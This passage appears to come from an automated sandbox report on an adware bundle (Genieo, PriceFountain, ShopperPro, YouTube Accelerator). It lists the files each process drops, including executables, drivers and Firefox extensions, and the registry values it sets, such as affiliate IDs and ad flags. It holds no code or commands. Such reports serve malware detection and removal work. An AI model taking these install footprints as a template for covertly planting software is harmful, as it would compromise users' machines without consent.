C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\176YV0HD.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe (21364 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\34MFEFF0.txt (780 bytes)

The process biclient.exe:2152 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\B5NZTDIO.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula-priceless[1].htm (1799 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp (17368 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\C0C7ZPXB.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2QWZSN55.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\__utm[4].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EITRPAB7.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SQVL143S.txt (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\__utm[2].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QIYYZ93X.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe (21724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\NADJD2L3.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\QMQ158YQ.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HCQGXTLF.txt (780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\__utm[1].gif (35 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\9e6180970114bd468bddca6b91fb0979[1].htm (35998 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\tokyo_sprite_full[2].png (1277 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.4 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.5 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.6 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.7 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.0 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.1 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.2 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp.3 (1928 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe (66249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.3 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula[3].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.7 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.6 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.5 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.4 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\eula[2].htm (1061 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.2 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\XUVOKDUZ.txt (116 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe.0 (2696 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\IL1L3K8X.txt (779 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe (21364 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.6 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.7 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.4 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.5 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.2 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.3 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.0 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe.1 (9496 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\8GSXMW5L.txt (778 bytes)

The process 18be6784_.exe:2712 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\tf00294823.dll (294 bytes)
%Program Files% (x86)\Supporter\Supporter.dll (255021 bytes)

The process sfx.exe:2496 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\prfo.dll (5273 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountain.exe (6081 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainFirefox.xpi (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe (4492 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll (1671 bytes)

The process ins_yta.exe:3812 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB4EF.tmp (144 bytes)

The process 8B7.tmp:4068 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\18be6784_.exe (995 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\294823_.exe (1131 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\90LL56E9.txt (129 bytes)

The process testlsp.exe:1404 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\engine_1404_testlsp.log (125619 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\ipc_1404_testlsp.log (1438 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\helper_1404_testlsp.log (150 bytes)
C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\testlsp_1404.log (1345 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\SMALLTEST[1].htm (70 bytes)

The process setup.exe:2144 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\Uninstall PriceFountain.lnk (991 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainUpdateVer.exe (61948 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (536 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe (10226 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\logs\installation.log (8322 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\PriceFountainUpdateVer.exe (3556 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\PriceFountain.url (249 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\PriceFountain\PriceFountain Help.url (257 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\sfx.exe (63715 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\prefs.js (26724 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe (462 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\staged\{b6a94784-0ffb-4121-88c6-435139067ee2}.xpi (3 bytes)

The process setup.exe:2468 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\AccDownload.dll (11671 bytes)
%Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\System.dll (23 bytes)
%Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
%Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
%Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\nsExec.dll (14 bytes)
%Program Files%\Common Files\ShopperPro\spbici32.dll (35246 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\MoreInfo.dll (15 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro.dll (14184 bytes)
C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz2C00.tmp (346124 bytes)
%Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
%Program Files%\Common Files\ShopperPro\spbici64.dll (44462 bytes)
%Program Files% (x86)\ShopperPro\database1_0_0.json (5 bytes)
%Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
%Program Files% (x86)\ShopperPro\ShopperPro64.dll (16944 bytes)
%Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
%Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)

The process rundll32.exe:3784 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\Supporter\Supporter.dll (291 bytes)

The process WerFault.exe:4024 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0fb53c92\Report.wer (241140 bytes)

The process WerFault.exe:2364 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_biclient.exe_97ca2157dc4a9efbd1a44fda2aa67c3f797d_0937df27\Report.wer (239510 bytes)

The process WerFault.exe:3520 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\WER\ReportArchive\AppCrash_YTAHelper.exe_33a11d3e4d66265e76d09550dc9d2e98153056_0dcb5aad\Report.wer (194508 bytes)

The process ShopperPro.exe:3492 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\config.json (490 bytes)
C:\ProgramData\ShopperPro\ShopperPro.dll (2321 bytes)
%Program Files% (x86)\ShopperPro\config.json (1260 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\jsdrv.exe (291 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.exe (22786 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.ini (514 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\config.json (490 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\install.rdf (828 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\overlay.xul (203 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.sys (52 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions.json (3 bytes)
C:\ProgramData\ShopperPro\database1_0_0.json (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\chrome.manifest (113 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\database1_0_0.json (5 bytes)
C:\ProgramData\ShopperPro\ShopperPro64.dll (3073 bytes)
%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\config.json (770 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\{746505DC-0E21-4667-97F8-72EA6BCF5EEF}\content\shopperpro_128.png (5 bytes)

The process ins_shopperpro.exe:2016 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu2444.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2433.tmp (152474 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu2444.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu2444.tmp\setup.exe (1584890 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu2444.tmp\setup1.exe (142646 bytes)

The process regsvr32.exe:1848 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll (90 bytes)

The process regsvr32.exe:3620 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\PriceLess\GyPMznBeNw9Nlq.x64.dll (704 bytes)

The process regsvr32.exe:388 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (503 bytes)

The process regsvr32.exe:3176 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (421 bytes)

The process lspinst.exe:3412 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process lspinst.exe:1836 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process YTAHEL~1.EXE:3508 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\jsdrv.exe (100669 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\MoreInfo.dll (15 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\SPRemove.exe (17848 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\AccDownload.dll (11667 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2AE7.tmp (133285 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)

The process DCytaiesmt_smtyc_setup.exe:1572 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18676\ins_postInst.exe (3834 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18676\ins_yta.exe (32481 bytes)

The process spbiu.exe:2308 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1024 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:1008 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process %original file name%.exe:3852 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8409 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz277E.tmp (7214 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (79 bytes)

The process GLJ52F.tmp:3012 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Windows\SysWOW64\AniGIF.ocx (172 bytes)

The process taskeng.exe:1652 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:3732 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA46.tmp (37336 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\DCytaiesmt_smtyc_setup.exe (376835 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjFA47.tmp\7E5344D40EB28303 (34561 bytes)

Registry activity

The process pricefountainw.exe:3156 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\PriceFountain]
"firstW" = "1"
"pmwt" = "0"
"pmwc" = "1"

The process GLB4EF.tmp:3568 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1420692764"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1420692764"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "88"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3394(build_88)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,25383020-30f5-408f-b983-88ab51edfcbf,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
